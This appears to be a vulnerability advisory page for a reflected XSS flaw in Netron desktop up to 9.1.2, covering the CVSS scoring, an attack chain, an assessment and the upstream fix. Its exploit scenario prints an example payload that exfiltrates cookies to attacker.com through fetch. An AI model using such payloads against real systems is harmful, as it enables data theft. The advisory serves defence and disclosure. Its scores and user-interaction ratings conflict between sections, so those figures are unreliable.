6.1 MEDIUM

AV:L because the attack requires opening a crafted local file; UI:R for that required user action; C:H for port scanning and renderer data exposure; I:L for node visibility manipulation; S:U since breaking to host requires a separate n-day.

DescriptionCVE.org

Reflected XSS in Netron versions <=9.1.2 on desktop application through unsanitized node names allows an attacker to hide certain nodes, perform port scanning or abuse a Chrome n-day to achieve Remote Code Execution.

AnalysisAI

Reflected XSS in Netron ≤9.1.2 desktop application executes attacker-controlled JavaScript when a user opens a specially crafted ML model file containing malicious node names, descriptions, or type labels. Because Netron is Electron-based, XSS runs in a privileged Chromium renderer context - enabling SSRF-style local port scanning and, when chained with an unspecified Chrome n-day vulnerability, potential remote code execution on the host. …

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Craft model file with XSS payload in node names
Delivery
Host on public model repository or deliver via phishing
Exploit
Victim opens file in Netron ≤9.1.2 desktop app
Execution
JavaScript executes in Electron/Chromium renderer
Persist
Enumerate local network hosts via port scanning
Impact
Chain Chrome n-day to escape renderer and achieve host RCE

Vulnerability AssessmentAI

Exploitation Exploitation requires the victim to open a malicious model file in the Netron desktop application (UI:P - passive user interaction). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 6.8 with AV:L reflects that exploitation requires a user to open a malicious file, appropriately scoping this as a local attack. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker embeds a JavaScript payload (e.g., `<img src=x onerror=fetch('http://attacker.com/?d='+btoa(document.cookie))>`) into node names within a crafted ONNX or TensorFlow model file and uploads it to a public model repository or sends it via phishing. When an ML engineer opens the file in Netron ≤9.1.2 desktop, the payload executes in the Chromium renderer, enabling port scanning of the local network. …
Remediation Update Netron to a version that incorporates upstream commit cd14bad8c9132b1aaf1d197fe61925575f194f00 (https://github.com/lutzroeder/netron/commit/cd14bad8c9132b1aaf1d197fe61925575f194f00), which adds HTML escaping to all affected innerHTML assignments and tightens the CSP with frame-src 'none'. … Detailed patch versions, workarounds, and compensating controls in full report.
